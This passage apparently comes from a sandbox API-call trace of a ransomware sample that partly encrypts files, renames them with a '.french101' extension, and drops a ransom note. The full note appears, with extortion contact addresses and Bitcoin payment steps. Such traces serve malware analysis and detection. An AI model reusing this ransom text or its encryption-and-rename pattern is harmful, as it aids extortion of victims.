lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0281.222] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0281.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0281.222] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\я" (normalized: "c:\\588bce7c90097ed212\\1045\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.224] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0281.225] CloseHandle (hObject=0x308) returned 1 [0281.225] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\я" (normalized: "c:\\588bce7c90097ed212\\1045\\я")) returned 1 [0281.229] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da350 [0281.230] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0281.230] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0281.230] FindClose (in: hFindFile=0x6da350 | out: hFindFile=0x6da350) returned 1 [0281.230] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf", dwFileAttributes=0x20) returned 1 [0281.230] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.231] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.231] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xfc8 [0281.231] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.231] SetFilePointer (in: hFile=0x308, lDistanceToMove=4040, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xfc8 [0281.231] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c98*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0281.233] CloseHandle (hObject=0x308) returned 1 [0281.295] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.295] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.295] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xfc9 [0281.295] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.295] SetFilePointer (in: hFile=0x308, lDistanceToMove=4040, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xfc8 [0281.295] SetEndOfFile (hFile=0x308) returned 1 [0281.301] CloseHandle (hObject=0x308) returned 1 [0281.302] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.302] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.302] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xfc8 [0281.302] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.302] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.303] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.303] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xfc8 [0281.303] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.303] ReadFile (in: hFile=0x308, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.304] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.304] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0281.304] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.304] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.304] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0281.304] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.304] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0281.304] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0281.304] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.304] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0281.304] WriteFile (in: hFile=0x308, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.304] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0281.305] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xfc8 [0281.305] SetFilePointer (in: hFile=0x308, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0281.305] SetFilePointer (in: hFile=0x308, lDistanceToMove=4040, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xfc8 [0281.305] WriteFile (in: hFile=0x308, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0281.363] WriteFile (in: hFile=0x308, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0281.363] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.363] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.363] CloseHandle (hObject=0x308) returned 1 [0281.364] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\y99Xr8wA2Hr7EZmRBLwu+Q.french101" (normalized: "c:\\588bce7c90097ed212\\1045\\y99xr8wa2hr7ezmrblwu+q.french101")) returned 1 [0281.365] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\y99Xr8wA2Hr7EZmRBLwu+Q.french101" (normalized: "c:\\588bce7c90097ed212\\1045\\y99xr8wa2hr7ezmrblwu+q.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.365] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0281.365] CloseHandle (hObject=0x308) returned 1 [0281.365] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\y99Xr8wA2Hr7EZmRBLwu+Q.french101", dwFileAttributes=0x80) returned 1 [0281.365] CloseHandle (hObject=0x308) returned 0 [0281.366] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.366] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.366] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.366] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.366] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0281.366] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.366] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.366] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0281.366] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.366] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0281.366] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0281.366] GetLastError () returned 0x2 [0281.367] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1045\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.367] WriteFile (in: hFile=0x308, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0281.431] CloseHandle (hObject=0x308) returned 1 [0281.431] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.431] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.431] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.431] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0281.431] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0281.431] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.431] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0281.432] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0281.432] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0281.432] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.432] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0281.432] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.432] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.432] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0281.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0281.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0281.433] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0281.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0281.433] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0281.433] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0281.433] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0281.433] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0281.433] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0281.434] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.434] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.434] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x141c6 [0281.434] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.434] SetFilePointer (in: hFile=0x308, lDistanceToMove=82374, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x141c6 [0281.434] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0281.436] CloseHandle (hObject=0x308) returned 1 [0281.441] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.441] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.441] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x141c7 [0281.441] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.441] SetFilePointer (in: hFile=0x308, lDistanceToMove=82374, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x141c6 [0281.441] SetEndOfFile (hFile=0x308) returned 1 [0281.444] CloseHandle (hObject=0x308) returned 1 [0281.444] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.444] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.444] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x141c6 [0281.444] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.445] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.445] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0281.445] ReadFile (in: hFile=0x308, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.445] SetFilePointer (in: hFile=0x308, lDistanceToMove=59741, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xe95d [0281.445] ReadFile (in: hFile=0x308, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.446] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0281.446] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0281.446] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0281.446] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.446] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0281.446] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.446] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.446] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.446] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.459] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0281.460] WriteFile (in: hFile=0x308, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.460] SetFilePointer (in: hFile=0x308, lDistanceToMove=59741, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xe95d [0281.460] WriteFile (in: hFile=0x308, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.460] SetFilePointer (in: hFile=0x308, lDistanceToMove=82374, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x141c6 [0281.460] WriteFile (in: hFile=0x308, lpBuffer=0x3eaafc8*, 